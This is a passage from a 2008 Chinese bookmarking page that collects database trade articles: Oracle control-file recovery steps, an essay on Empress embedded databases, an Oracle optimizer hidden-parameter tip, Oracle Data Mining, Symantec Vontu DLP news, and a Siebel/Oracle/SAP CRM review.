打开跟踪文件,目录为$ORACLE_BASE/admin/linux/udump
查找最新修改文件*.trc,如我的机子上是linux_ora_3647.trc
用vi打开,并查找这行:“-- Set #1. NORESETLOGS case”
选中并复制到
“-- End of tempfile additions.
--
-- Set #2. RESETLOGS case”为止。
把选中这段文字所有目录结构改成linux平台下的目录结构,
注意,linux下是区分在小写的,这里改过来,必须和实际文件名大小写一至,否则创建的控制文件不能启动。
http://database.ctocio.com.cn/tips/388/8238888.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 13:32:22 | 相关网摘,我也收藏
1.嵌入式数据库产生及运用的必然性
嵌入式系统在现代人的生活中随处可见,其中软件的比例越来越大,软件开发的投入也越来越大。
随着微电子技术和存储技术的不断发展,嵌入式系统的内存和各种永久存储介质容量都在不断增加。这也就意味着嵌入式系统内数据处理量会不断增加,那么大量的数据如何处理问题变得非常现实。人们不得不将原本在企业级运用的复杂的数据库处理技术引入到嵌入式系统当中去,应用于嵌入式系统的数据库技术也就应运而生。
但是,事情总是比想象复杂。在嵌入式的世界,无论是通讯领域的嵌入式设备还是其它领域中,各种中间环节逐渐设备化,成为独立的相对封闭的系统,对外留有接口。设备中数据种类和处理方法有一定的共同规律也有自己的特殊规律。这使得嵌入式数据库不能像企业级数据库那样几乎是一个解决方案走遍天下,而是有着很大的差异性。同时,也为嵌入式数据库的合理运用带来了挑战,这是嵌入式数据库差异化的一个基本原因。
随着嵌入式系统的扩大,嵌入式产品的开发不再像过去那样几个人就可以完成整个系统的开发,需要更多的人组成团队进行合作。嵌入式软件的需求分析和品质管理也变得越来越复杂,开发周期也逐渐拉长。为了解决这些问题,引进第三方成熟的中间件或解决方案也变得非常现实。专业的嵌入式数据库厂商也逐渐进入了人们的视野。因为,运用成熟的嵌入式数据处理中间件可以降低开发成本、缩短开发周期,使开发者能够将更多的精力放在业务逻辑的处理上,而不用花大把的金钱和精力来处理数据,对整个社会的资源也是一种节约。
2.嵌入式数据库的基本特点
按照马克思的哲学理论,事物发展的进程可以用螺旋式上升来描述。嵌入式数据库和我们现在常见的企业级数据库的基本关系也是一个螺旋上升式的关系。虽然,从名字上看,二者有着太多的相似性,但却有着本质的根本性的区别。外在的形式的相似性,并不能代表二者的实现方式和运用方式的相似。恰恰相反,嵌入式数据库的实现和运用方式和企业级的数据库有着很大的区别。
在国外,嵌入式数据库已经发展了30多年,典型的代表是Empress嵌入式数据库。它的特点也基本代表了现阶段嵌入式实时数据库的基本特点。下面就介绍一下Empress嵌入式数据库所具有的区别于企业级数据库的几个主要特点。
嵌入性是嵌入式数据库的基本特性。嵌入式数据库不仅可以嵌入到其他的软件当中,也可以嵌入到硬件设备当中。Empress的方法之一就是使数据库以组件的形式存在,并发布给客户,客户只需要像调用自己定义的函数那样调用相应的函数就可以创建表、插入删除数据等常规的数据库操作。客户在自己的产品发布时,可以将Empress数据库编译到自己的产品内,变成自己产品的一部分,最终用户是感受不到数据库的存在的,也不用特意去维护数据库。
实时性和嵌入性是分不开的。只有具有了嵌入性的数据库才能够第一时间得到系统的资源,对系统的请求在第一时间内做出响应。但是,并不是具有嵌入性就一定具有实时性。要想嵌入式数据库具有很好的实时性,必须做很多额外的工作。比如:Empress实时数据库将嵌入性和高速的数据引擎、定时功能以及防断片处理等措施整合在一起来保证最基本的实时性。当然,不同的场合实时性要求比较高时,除了软件的实时性外,硬件的实时性也是必须的,具体情况需要有具体和切实的解决方案,不能一概而论。
移动性是目前在国内提的比较多的一个说法,这和目前国内移动设备的大规模应用有关。可以这么说,具有嵌入性的数据库一定具有比较好的移动性,但是具有比较好的移动性的数据库,不一定具有嵌入性。比如,一个小型的C/S结构的数据库也可以运用在移动设备上,而具有移动性。但这个数据库本身是一个独立存在的实体,需要额外的运行资源,本质上讲和企业级数据库区别不大。所以不具有嵌入性,也基本上不具备实时性。Empress是优秀的嵌入式实时数据库,毫无疑问也是非常优秀的移动数据库。
伸缩性在嵌入式场合显得尤为重要。首先嵌入式场合硬件和软件的平台都是千差万别,基本都是客户根据需要自己选择的结果。
所以嵌入式场合的数据库必须能够支持非常多的平台,如Empress目前支持6000多种平台。同时,数据存储要支持常见的存储设备,如CF/Flash/HD等。多进程和多线程是必备的,现在的嵌入式系统已经远远不是当初的简单的编程,代码量增大,功能日益复杂,所以必然要支持多线程和多进程。C/C++和SQL接口的支持也是必备的,作为数据库当然要有大家熟悉的SQL,但同时不要忘记嵌入式场合用的最多的标准的C/C++接口。某种程度上说,嵌入式场合的数据比企业级应用的数据还要复杂,所以要支持各种类型的数据,如多媒体数据和空间数据等,要支持各种数据结构,除了传统的关系型,还要能处理树状结构和网状结构。
当然,肯定要具备企业级数据库所具有的一些共性。比如,一致性是数据库所必需的特性。通过事务、锁功能和数据同步等多种技术保证数据库内的各个表内的数据的一致性,同时也保证数据库和其他同步或镜像数据库内数据的一致性。安全性也是必不可少的。在保证物理信息本身的安全的同时,也要保证用户私有信息的安全。
3.80%和20%
嵌入式的应用场合和通用PC或服务器架构上的应用有着很大的不同。嵌入式系统中虽然也有不少的标准和组件,但种类繁多,环境千差万别,应用特殊化的地方非常之多。所以在嵌入式场合无论成熟的产品和组件一般只能够满足客户的80%的要求。余下20%的要求是需要产品提供方和客户共同来努力解决的特化的部分。当然,每个行业都有自己的特点,如果能够为某个行业提供完整的特殊化解决方案,那么在同行业中特化的部分也就不会再有这么高的比例。
这些特殊化工作比较多,下面列举一两个:
针对不同平台和环境的移植。虽然大部分操作系统都声称支持标准的POSIX接口,但实际上要在上面高效运行实时的嵌入式数据库还是比较困难的。有的实时性非常高的操作可能还需要直接调用CPU的处理指令。所以最好在客户使用嵌入式数据库之前,将数据库移植到客户的环境中去。对于那些部分支持,或者不支持POSIX标准的操作系统就只能做移植了。
在客户平台上做出性能测试报告和优化。嵌入式场合很多应用是非常苛刻的,所以必须保障嵌入式数据库在客户的平台上能够达到客户要求的性能指标。最佳的评价方就是嵌入式数据库的提供方在客户平台上做的性能测试报告,并在必要的地方对数据处理方式进行优化。
根据应用的要求实现个性化的功能。既然数据统一由数据库引擎进行管理,那么许多特殊的功能在这一层实现是最佳的选择。所以,嵌入式数据库进入一个新的行业以后,都会产生一些新的应用构件。这些构件直接和引擎打交道,同时对用户层留有接口。
这种差异化也导致了嵌入式数据库的技术支持变得比较重要,厂家一般都会提供有偿或无偿的技术支持。
4.嵌入式数据库的分类
嵌入式数据库的分类方法很多,可以按照嵌入的对象不同分为:软件嵌入数据库、设备嵌入数据库、内存数据库。也有人将它们粗略的分为:嵌入数据库、移动数据库、小型的C/S结构数据库等。笔者更偏向于按照下面的方式进行划分:
小型C/S数据库。这种数据库其实是企业级数据库的一个缩小版,缩小以后可以在一些实时性要求不高的设备内运行。它只和操作系统有关,一般只能支持一些常见的移动操作系统,如,Linux和WindowsCE系列。
面向软件嵌入数据库。它将数据库作为组件嵌入到其他的软件系统中。一般用在对数据库的安全性、稳定性和速度要求比较高的系统中。这种结构资源消耗低,最终用户不用维护数据库,甚至感受不到数据的存在。
面向设备嵌入数据库。它将关系型数据库嵌入到设备当中去,作为设备数据处理的核心组件。这种场合要求数据库有很高的实时性和稳定性,一般运行在实时性非常高的操作系统当中。为了达到这些要求有的厂商采用关系型的数据结构,有的采用非关系型的数据结构。有时候甚至直接和硬件打交道。当然,这种结构在实时性要求不高的移动场合更能够胜任。
内存数据库。数据库直接在内存内运行,数据处理更加高速,不过安全性等方面需要额外的手段来保障。
当然,相同类型的嵌入式数据库肯定会有很多不同的版本。如,Empress具有上述所有种类的嵌入式数据库,且每种都有很多版本,就在一年前刚刚针对日本市场比较特殊的操作系统iTRON开发了一个专用的嵌入式数据库版本。
5.嵌入式数据库的构件
嵌入式数据库包含的构件很多,不过大部分嵌入式数据库包含的构件差别是不大的,以Empress嵌入式数据库为例包括以下一些构件。
用户接口级构件。这些构件主要是方便用户对数据库进行操作和访问。如,标准的C语言应用程序接口(CKERNELAPI);标准的SQL语句(EMBEDDEDSQL);JDBC/ODBC接口;数据流处理(DataStreaming)、网络处理(EmbeddedNetworkAPI)以及数据恢复处理(DataRecoveryAPI)等。
应用级构件。该部分的构件包括一些主要应用所必需的构件,当然随着应用的不同,构件也是可以裁剪和添加的。
引擎级构件。主要包含事务处理(Transaction)、索引(Index)、多进程/多任务(MultiProc/TaskAccess)、可配置数据库内核(ConfigurableDatabaseKernel)、断电恢复管理(PowerDownRecovery)和存储介质引擎(StorageEngine)。但具体的Empress产品中远不止这么多。
6.应用现状
嵌入式数据库在国外已经有30年的历史,应用领域也非常广泛,下面仅结合Empress嵌入式数据库的部分应用,介绍一些大家感兴趣的领域。
医疗领域
北美和欧洲的一些著名的厂商利用Empress的数据库开发过完整的电子病历系统,同时将数据库嵌入到医疗器械当中。如,血液分析装置、乳癌的检测装置、医学图像装置等。这样医疗系统的各个环节可以无缝地和各种医疗设备进行数据交流,并轻松地处理这些设备送过来的数据信息,在必要的时候共享给有权限查看的用户。
军事设备和系统
一些著名的军事机构和全球著名的武器生产商将Empress数据库运用到他们的系统控制装置、战士武器、军舰装置、火箭和导弹装置中。这些场合用的数据库有很多的安全设定和特化设定,基本上严格按照每个客户的技术标准的要求来特化引擎级构件。具体的应用级的构件由客户自己完成。
地理信息系统
地理信息包括的范围很广,在国外地理信息系统已经发展了很多年,国内这几年也逐渐加大对地理信息系统方面的投入。Empress在地理信息系统方面的应用非常广泛。如,空间数据分析系统、卫星天气数据、龙卷风和飓风监控及预测、大气研究监测装置、天气数据监测、相关卫星气象和海洋数据的采集装置、导航系统等等。几乎涉及到地理信息的方方面面。
工业控制
工业控制的一个基本方式是一个反馈的闭环或半闭环的控制方式。随着工业控制技术的发展,简单的数据采集方式和反馈方式基本上很难满足要求。采用Empress嵌入式数据库即能够进行高速的数据采集,也能够快速的反馈。正因为如此,在一些核电站监控装置、化学工厂系统监控装置、电话制造系统监控装置、汽车引擎监控装置及工业级机器人中有广泛应用。
网络通讯
随着互联网的发展,网络越来越普及,网络设备的处理能力越来越强、各种要求也越来越高,运用嵌入式数据库也成了必然趋势。我们现在日常见到的很多网络设备和系统都已经使用了嵌入式数据库。Empress在一些企业内部互联网装置、网络传输的分布式管理装置、语音邮件追踪系统、VoIP交换机、路由器、基站控制器等系统中都有应用。
空间探索
一些全球著名的机构将Empress用在一些著名的空间探索装置中,如大家熟知的一些太阳系内行星的探测器等。
消费类电子
目前在中国消费类电子比较火热,它包含的范围也非常广。如:个人消费相关的PND、移动电话、PDA、SmartPhone、数码产品等;信息家电和智能办公相关的机顶盒、家用多媒体盒、互联网电视接收装置、打印机、一体机等;还有汽车电子等。在欧美和日本Empress不仅在这些方面已经有不少的成功应用和技术积累,还正在和亚太的一些著名厂商积极展开新的合作和研发,目前已经取得实质性的成果。
当然,嵌入式数据库的应用应该远不止这么多,不过笔者只能结合自己的经验向大家介绍一些我了解的,同时也是关注比较多的领域。
7.未来的展望
未来的世界是一个“普适计算”或“泛在计算”(PervasiveComputing或UbiquitousComputing)的世界。“普适计算”指的就是,“无论何时何地,只要您需要,就可以通过某种设备访问到所需的信息”。有一篇关于泛在计算领域著名的学者——坂村健先生的采访,标题就是“让整个世界变成一台巨型计算机”。
“普适计算”的世界将是继互联网之后给我们带来的另一个技术世界。在这个世界里有各种各样的设备(称为:计算节点),他们无时无刻地作为一个相对独立的单元参与整个世界的计算,能够满足人们日常生活的信息的需要。虽然这一天的到来还要依赖于微电子技术、RFID技术、智能传感器网络、软件技术等高、新、尖技术的发展。但我们可以预感到这一天会慢慢逼近。
从某种意义上讲,“普适计算”也可以描述成嵌入式设备处理大量信息的计算。这正是嵌入式数据库诞生和发展的原动力。所以,我可以很明显地感觉到嵌入式数据库必将广泛地被应用。
目前在中国Internet迅速普及和发展,并向个人和家庭不断扩展,使消费电子、计算机、通信(3C)一体化趋势日趋明显。中国的产业结构正在从低附加值的制造业向高附加值的高新技术领域过渡。尤其在一些发展较快的地区,如上海,必将抓住这个大的潮流加速自己的发展。我们几乎可以预见,在未来几年中国的消费类电子必然会蓬勃发展,应用的领域会越来越广泛,嵌入式数据库将会随着这些无处不在的计算节点而渗透到我们生活的每一个环节中。
目前,国内的许多嵌入式软件技术人员经过数据处理的困惑,经过开源的摸索,经过自主开发的尝试,许多开发者正逐渐意识到商用数据库的必要性。商用嵌入式数据库正在被逐渐被正确认识和接受。
http://www.gkong.com/html/news/2008/7/24657.Html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 10:19:19 | 相关网摘,我也收藏
连续看到几个和 Oracle 优化器隐含参数 _sort_elimination_cost_ratio 相关的优化案例(Refer Refer )。
如果用 _SORT_ELIMINATION_COST_RATIO 作为关键字在 Metalink 上查询,会发现很多和该参数有关的 Bug ,执行计划的出错特征是也走了索引,但是走了索引全扫描(INDEX FULL SCAN),如果做 10053 Trace ,会发现有个烦人的 Recost for ORDER BY 步骤,然后就会引到错误的执行计划上。
在 9i 升级到 10g 最容易遇到这个问题(原来好好的,到了 10g 发现执行计划有问题了). 出问题的 SQL 一般是走 INDEX RANGE SCAN 然后有个 ORDER BY 会触发,更多的时候优化器模式是 FIRST ROWS -- 这样 Oracle 会尽量消除排序,默认认为排序是开销昂贵的操作。通过控制 _SORT_ELIMINATION_COST_RATIO 隐含参数的值 (默认是0) 能够解决这个问题:
ALTER SESSION SET "_SORT_ELIMINATION_COST_RATIO"=5
其它可能的解决办法:对索引里面的排序保持和 SQL 里的 ORDER by 一致。
其实说白了,很多 Oracle 隐含参数就是为了解决 Oracle 特定情况下的 Bug 的,因为不具备普遍性,所以在某些版本中作为隐含参数出现。在生产数据库上,个别的时候启用隐含参数倒也不是不行的,只要明白了相应的隐含参数到底是干啥的就成了。
题外话:_SORT_ELIMINATION_COST_RATIO 相关的 Bug 频繁出现,倒是感觉和 Oracle 内部代码管理有关,本来应该消除掉的,怎么后面的版本又跑了出来?
目前关于 CBO 最好的书籍应该是Jonathan Lewis 的 Cost-Based Oracle Fundamentals ,有中文译本:《基于成本的Oracle优化法则》。是 DBA 不可错过的一本书。
http://database.ctocio.com.cn/tips/360/8232860.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 10:17:39 | 相关网摘,我也收藏
出处:IT专家网
什么是数据挖掘?它和传统的商业智能有什么区别?数据挖掘是从一个数据集提取隐藏知识来帮助你制定决策的过程。通过隐藏的知识,基于一个模型通过对其他上千个客户的总结来预测一个客户可能会购买哪个产品。或者客户的哪些属性最能影响他们的购买模式?思考统计、可能性、集群、相关性和代替趋势和总结的预测。
一般查询和报表、OLAP或其他分析工具能够很好地获得你想制定的一类决策的细节。我们可以定义公制和维度并向下钻取和报表以及状态面板,因为我们通常知道我们需要什么。我们只是不知道涉及的产品、地区和客户。一个用户可能知道怎样定义一个好的客户是怎样的,以及商业智能系统可以开发这个规则来显示谁是最好的客户。但是一个新客户是怎样的呢——他们是好客户还是差客户?你能使他们变得更好吗?
因为不同之处不多,那这两个可以一起使用吗?答案是绝对的,而这是Oracle与其它相比所提供的独特能力。
基于Oracle的将功能扩展进数据库引擎中去的理念,ODM包括在Oracle 10 R2数据库引擎中。在数据库中的独特架构,和可以通过PL/SQL或Java APIs来访问使得其它所有功能可以放置到Oracle平台来使用——例如并行、索引、物化视图、安全性、高可用性等等。这么做的其它主要好处是它可以节省数据转移到数据库之外到一个数据挖掘工具例如SAS——在许多情形下花费的大量时间。
数据挖掘过程比传统的商业智能要复杂得多。有了数据挖掘,你的第一个目标是建立一个模型,它是这个软件从一个你首先要清理的示例数据集创建出来的。这个模型(你可以把它想成可以在一个记录上调用的高级功能)然后可以部署到一个单独记录或一整个数据集上。
使用一个单独记录在前沿应用程序中是很有用的,在这里可以进行实时计分,就可以预测概率或结果。这里最常用的例子是在一个呼叫中心环境中的,是基于打进来的电话和客户,一个预测就是对于这个客户最可能的响应是什么。(如果这听起来很像Oracle实时决策(RTD,通过Siebel通过Sigma Dynamics来获得),那么你是对的。在这类商业智能工具中,Oracle计划销售两个产品,这两个产品在功能方面有些交迭。)这个场景中,记录是实时记录的,没有很好的批处理,而这是典型商业智能系统(OBI EE)能做到的。尽管数据挖掘功能可以从SQL直接访问到,但是目前的OBI EE不能生成这些SQL扩展。当然你可以通过使用不透明视图(Opaque View)或数据库视图并简单匹配一个字段来做到。这个是你不想做的,但是在一些极个别情况中可以使用。
第二个方式是对整个记录集计分的能力——在晚上或每周的ETL加载中执行一个UPDATE语句,设置一个字段为由数据挖掘模型计算出来的一个值。在这种情况下,这个结果就是简单的一个表中的一个字段。这样,我们任何普通的技术都可以应用到这个字段上——它可以是可用于过滤或活动分区的空间属性,或者它可以用作公制,例如Avg期望值。使用它真的很有用。令人兴奋的是将一个经验丰富的预测模型的结果集成到一个规则商业智能状态面板中去的可能性。与OBI EE在一个大型组织中分享高质量信息的期望一致,你现在可以比使用传统数据挖掘系统更广阔地利用你的数据挖掘的结果。
http://database.ctocio.com.cn/analysis/187/8232687.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 10:13:41 | 相关网摘,我也收藏
来源: eNet硅谷动力
赛门铁克(Symantec)宣布推出Vontu Data Loss Prevention (DLP)的更新版本,提供原生SQL数据库扫描更优异的支持及管理功能。Vontu防止数据外泄(DLP)解决方案可协助组织防止其机密或专属信息在储存或使用期间不慎遗失。Vontu DLP套件可让企业在其整个组织中找出暴露于风险中的机密数据,并加以保护。
在Vontu DLP更新后,企业将可更有效地在执行内容探索时对SQL数据库扫描功能进行管理。透过对Oracle、SQL Server或DB2等SQL数据库的原生支持,公司组织现已可在其防止数据外泄策略中,对数以千计的数据库执行系统化的企业规模稽核,以在稽核程序中快速清查数据库,或找出储存方式有失当之虞的机密数据。
公司组织常会对其静态数据(data-at-rest)使用数据遗失预防技术,以执行数据清除项目或清查重要信息。储存 DLP 解决方案则可协助公司组织解决他们在法规遵循稽核、调查、数据清除与数据分类等领域所遇到的难题。Vontu DLP 对于六种内容储存库均提供原生扫描支持,包括档案服务器、分布式笔记型计算机与桌上型计算机、数据库、文件与记录管理系统(如 Documentum与SharePoint)、电子邮件储存库与网站(包括内部网络与外部网络)。
为了最佳的扩充性,Vontu DLP 提供了三种探索方法。以代理程序为主的扫描可让您在扫描大量端点时能够同时对数千部机器进行探索。Vontu DLP 服务器代理程序可对远程地区分公司的数据储存库执行分布式扫描,并可执行集中式扫描,以调查具有数百万项文件或数据库记录的大量、集中式储存库。
Vontu Data Loss Prevention目前支持可由Vontu Enforce Platform (实施控制台)充分控管的原生SQL数据库扫描功能,并且整合可管理SQL数据库扫描作业的排程、节流与过滤功能。此外,Vontu的端点DLP解决方案已强化对Windows Server 2003 与Windows Vista 等操作系统的涵盖性,并可利用Vontu Endpoint DLP代理程序架构同时对上千个系统执行扫描。
http://www.enet.com.cn/article/2008/0728/A20080728336799.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 10:05:54 | 相关网摘,我也收藏
Oracle收购了Siebel。从技术的角度来说,这会使Oracle成为全球第一的CRM厂商。但是,还有另一种说法,说SAP正在加快步伐,希望有一天能取代Siebel成为CRM领域的领跑者。那么在接下来的日子中,合并后的Siebel和Oracle会胜过单打独斗SAP吗?我们都不清楚答案是什么只能拭目以待。但是,以独立的观点来评述她们还是很有必要的,了解她们目前做的怎么样,同时倾听443位被调查者对她们产品和品牌形象的看法。
在本报告中,我们将对CRM厂商Siebel, Oracle和SAP作出综合评述,包括由世界一流CRM专家、全球畅销书“CRM at the Speed of Light”作者和美国CRM协会执行副总裁Paul Greenberg先生提供的全球透视;由GCCRM研究团队提供的中国透视;以及由GCCRM通过在线及现场调查获得443份有效问卷形成的问卷透视。从而读者可以对三家CRM软件商目前各自的市场地位有较好的把握,同时也可以获得他们将来将会如何发展的一些洞察和观点。
【全球透视来自Paul Greenberg,全球畅销书“CRM at the Speed of Light”作者,美国CRM协会执行副总裁。】
Siebel
Siebel是一系列矛盾的集合体。一年之中二次领导层发生变化,在2005年5月George Shaheen成为掌舵人后,触发了很多核心人物的离开(最著名的是Eileen McPartland——新近聘请又很快便离开的Professional Services部门统领)。同时也预示,混乱中Tom Siebel的影响将再次回归。Mike Lawrie,从IBM挖来的高管,为Siebel注入了新鲜的空气,使得像我一样的很多分析家和行业精英对Siebel的未来燃起一点希望。他愿意面对Siebel的企业文化,同时也改变必须要改变的。在2004年10月我和Siebel高管一起参加的一系列用户讨论会上,我非常惊叹于他们的才能和诚挚,现在也是。这些人包括,产品开发部的副总裁Kevin Nix和CRM策略服务部的统领Peter McCullagh,还有一些其他人。但我对Lawrie“解职”的真正原因还是存在疑问,虽然表面上是因为他们有一个很糟的季度,这与我所想的一项Siebel从前的政策—不管什么理由都要裁减掉业绩最差的10%销售人员几乎不谋而合。
选择Shaheen本身也是值得商榷的。作为公司的领导,他因两件事而出名。他曾经营Andersen Consulting,后来称为Accenture,曾同时建立了他们的“困难”文化—正好和Siebel的文化相类似;另外他也曾是Webvan的CEO ——一个立足于互联网的食品递送服务公司,而这公司最终也是一败涂地。这意味着他在努力挽回他的名声,可能是好事——因为这是一个CEO,他的确有很多需要向世界证明的,既然他已担当了这角色。
虽然如此,但不可否认,Siebel也有好的和优越的产品。毫无疑问,作为一SaaS产品,Siebel CRM OnDemand在2004年已成为Siebel的重要的增长点,并且在2005年继续,目前已完成了成百上千个席位的好几宗交易。除此,现场服务应用软件和客户服务应用软件在2005年都被Gartner Group界定在行业领导者的范畴,同时也被Nucleus评为企业领导者和SaaS领导者。
但最终,Siebel的未来将立足于以下两种产品上:1、CRM OnDemand;2、Nexus技术
CRM On-Demand
这是Siebel不错且持续增长的成功案例之一,真是一件好事情。在Bruce Cleveland的指导下,自2005年第一季度的下半段开始以来,这已成为Siebel的增长点之一,同时也预示着Siebel已成功地进入了托管服务领域。IBM和Siebel之间的合资并没有失色之处,除了上文提及的解雇了前IBM执行董事Lawrie以外。
Siebel OnDemand 很大的一个好处就是她能够扩充到几百个坐席,甚至已有几家(还没有公布名字)的客户把它与内部部署的Siebel EntERPrise系统联系在一起并用的。针对最近的功能升级,单界面能力和提速(快10-20%)方面的升级,Siebel宣布,在那些与Salesforce.com竞争的交易中已达到了超过50%的成功率。事实上,据Nucleus Research评估,在部署方便性,适应性,内部支持需求,潜在利益和厂商的以往案例的标准下,Siebel和RightNow是最顶级的托管型解决方案。
很明显,他们在这个领域已取得了长足的进步,因而他们计划提供所有应用软件的OnDemand版本。
Nexus & Siebel 8.0
既然在架构上,现在的Siebel 7.8版本和她以前的版本是一样的,在新的架构上,Siebel将很大一部分储备在未来,而这新架构也将成为Siebel 8.0发行的核心所在。今年,在这种版本的发行之前,Siebel把Nexus公布于众——可以支持新架构的一种新的集成技术。Nexus是由Microsoft Corp.,IBM和BEA Systems Inc投资2.5亿美元共同开发的。很有意思的是它可以兼容.NET和J2EE(Java 2平台,企业版),而这也是我先前从来不认为Microsoft会感兴趣的,但SOA(面向服务架构)将成为将来企业软件/服务商业的诱惑力是巨大的。Nexus组成和Siebel 8.0将都支持.NET和基于Java应用软件服务器,从而第一次不需要Siebel的本身支持而达到这样。对Siebel来说,Nexus是革命性的,因为它可成百上千的销售指定营销和服务的预设流程,并可灵活调整和组织的产生出无数种使用方式,甚至为客户指定一套定制化服务。而她也会嵌入分析功能,并且会自动与Microsoft Office,Outlook和SharePoint兼容。事实上,他们已经宣布了Nexus的前版本,它是将7.8版本和IBM联系在一起的。到2005年6月底为止,Siebel和IBM合作推出了第一个pre-Nexus的工具包,Siebel 7.8 Web UI Dynamic Developer KIT,提供网络服务定制的软件开发者工具包。它是以IBM WebSphere Application Server和IBM WebSphere Portal平台为基础,并设计成允许机构通过网站和网络应用软件为内外部用户提供进入Siebel应用软件系统中使用一些预设组件的模块。这仅仅是未来大举出动的第一步。
Siebel正以此作为立足将来的一项投资, 虽然实际执行效果尚不得而知。就像以前他们原以为可和之前的整合平台一致,整合应用方案(UAN),但都不怎么成功,因为市场不能明白为什么Siebel基于UAN而把自己定位为企业应用软件商——信息和现实之间的差距,聪明的大众是可以认识到的。市场上,风险很大,竞争也很激烈,因此对Siebel来说,2005-2006年应该是很有挑战性的。
Oracle
关于甲骨文,你能说多少还没有被提及的?用原股东和创立者Larry Ellison具有代表性的话来说,他们是不留情面的。他们想通过收购PeopleSoft以达到主导行业的目的,然后打败SAP购得Retex——有2,300会员的零售联盟。
事实上,当提到甲骨文CRM,很少人听过。尽管甲骨文的竞争对手想把她挤入“85%为数据库公司”中去,而这也是正确的,但那也不代表甲骨文不想在CRM世界中营造一定的影响力,她有这个能力,而她也会的。
过去,现在,甚至将来,能使甲骨文与众不同就是其文化,这里所说的文化不是一个以商业为中心的文化,而是以技术为中心的文化。软件开发和使用界面、实验室、程序和数据,这些都使甲骨文运转良好,但不是甲骨文成功的因素。在Larry Ellison掌舵下,甲骨文要成为世界上主导的开发机构的野心显而易见。他们要达到该远景的方法是通过收购,比如目前非常瞩目的PeopleSoft收购。根据Nicholas Carr的网络日志的说法,“粗鲁类型”,他们整合PeopleSoft的方法是粗暴的GE曾经采用过的机械性方法。Ellison对《商业周刊》说,“两家公司合并在一个多月时间内消除冗余,人们不会停止消除冗余,我们希望立刻取得经济效益”。那在短期内是起作用的,但缺少将员工当作公司客户的理念,始终会有其利弊。特别是包括PeopleSoft文化在内的文化合并——尽管这几年,PeopleSoft的文化与甲骨文的比较相似,但PeopleSoft的文化还是比较以人为本,并配合得很好的商业计划来建立起来的。切记,PeopleSoft 仍在整合2004年收购J.D. Edwards的一些难题中,单是这个,再加上Retek的 文化融合可能一下子产生一种连甲骨文可能都不能很好处理的情况。在Siebel徘徊不前的情况下,这就留给SAP足够的空间去接管市场的领导权。
据2005年5月甲骨文的宣布,技术上,这次甲骨文与PeopleSoft的合并是Project Fusion框架结构。这次甲骨文, PeopleSoft与J.D. Edwards的完全的整合都面向于甲骨文的SOA方法。在目前的EWeek文章中,甲骨文的应用软件开发高级副总裁John Wookey说,“关键是向应用软件本身增加商业智能和应用软件服务器层面的适应的商业流程能力”。这种功能将出现在Project Fusion中。
为了一个理想的开始,甲骨文向甲骨文和Java的开发者公布开发工具以助这一步开发SOA。这令技术世界都颇为震惊。而这JDeveloper 以前的定价为995美元/坐席——现在因为激烈的竞争而免费。注意甲骨文不开发围绕.NET的SOA,因为他们把Microsoft当作他们在高科技领域统治权的两个主要竞争对手之一(SAP是另一个)。
而这一切对甲骨文意味着什么呢?它意味着他们已经认识到现在因特网就是一个基础架构。它意味着他们懂得了客户的需求是个人化体验,而个人化体验也是甲骨文的潜在客户保持的唯一方法。它意味着在开发文化中,甲骨文认为她自身提供的商业洞察工具将能够支持个人化客户体验。它也意味着,由于发展和主导文化,他们将继续收购和发展,收购和发展,直到他们成为数据库、应用软件和服务的初始平台。当Project Fusion还在初始试用,我不认为她不会成功,但成功的道路上还有很多障碍。
SAP
玩把戏从来都不是SAP的长处,不像其他的竞争对手那种声威并享,厉言疾色的宣布或声明,SAP只想利用其在研究和财务的实力使其成为行业领导者。典型的SAP思想就像CEO,BIll McDermott 在2005年5月接受SearchCRM采访时的一段言论那样,“…当你可以投入10亿多美元研发,不管其它人(salesforce.com)怎么做,SAP都可以做得更好”,换种说法,使用这么多研究经费,市场上将没有竞争者——至少在他们可以看到的范围内。
在BIll McDermott和SAP执行董事会成员Shai Agassi的领导下,在其目前具有历史性的策略中,SAP做出了激进的,但很理性的转变。2004年全年,SAP的策略重心有两个:企业应用软件(也包括在垂直市场流程)和整合各种应用软件平台NetWeaver。2005年之后,SAP都向统一策略努力—应用ESA(EntERPrise Services ArchITecture),一种真正意义上的SOA,作为一种连接各种不同应用软件业务的方式,有望于2007年发行。和NetWeaver不一样,ESA将公司业务流程,劳动力和规章制度,以及网络服务和数据的实时使用联系在一起,为21世纪快速发展的商业提供了一种理论上高效率和高效益架构。至于她们具体做的多好,完全依赖于他们自身。
在这个方面,至少SAP还没有声称他们现在已拥有丰富的SOA。可能仅有美国的Rearden Commerce才会这样说,她目前网罗了像Siebel的Jeff Pulver ,Salesforce.com的Cary Fulbright等在内的一批行业老手。 尽管如此,SAP在ESA方面的许诺看起来是可以达到的,但也具有潜在的危机。问题是SAP能否在平台战上取得胜利,平台战方面包括Salesforce.com,还可能有Oracle? 虽然SAP具有雄厚的研究开发能力—远远领先于其它公司,但这也不能保证一定会成功,因为他们是处于商业世界中,同时他们自己也承认,他们的很多合作伙伴根本不理解面向客户服务架构(SOA)的好处。那就是McDermott称之“举重”,要教育他们为什么要把ESA包括在应用策略内。
但是,SAP也不会孤注一掷。我认为这也是他们与Microsoft精明地,愉快地定期展开合作的一个隐蔽的原因。而对客户友好的技术原因就是他们能够唯一地将SAP的先进功能与Microsoft的Office系统日常需求很好的整合在一起,从而为日常工作者创造先进的自动化工具。同时我也认为,根据McDermott,在他们与Microsoft很好的合作以后,他们能够涉足一些小型公司,一直到1亿到5亿美元规模的公司—而这正是Microsoft的优势空间。反过来,Microsoft要进入SAP的市场空间却并没那么容易。不管他们什么理由,发展SAP应用软件和Microsoft Office之间的相互操作性对向许多企业开放SAP的企业应用软件和平台都是一个重要的步骤。
http://www.enet.com.cn/article/2008/0725/A20080725336214.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-29 10:02:37 | 相关网摘,我也收藏
来源:搜狐IT
全球数据库巨头甲骨文(Oracle)公司近日宣布携手深圳IT服务提供商华软泰科公司,联手进军深圳及华南商业智能管理平台。
据悉,随着信息技术的飞速发展,近年来,全球企业界的数据处理总量正以每年30%至50%的速度迅猛增长。
各种庞杂的经营数据已成为企业必须即时、高效处理的难题和生存发展的“命脉”,通过系统平台挖掘隐藏在海量数据中的价值信息,并进行智能化管理、开发和使用,已成为当前推动企业快速发展和实现信息化管理的核心和“利器”。
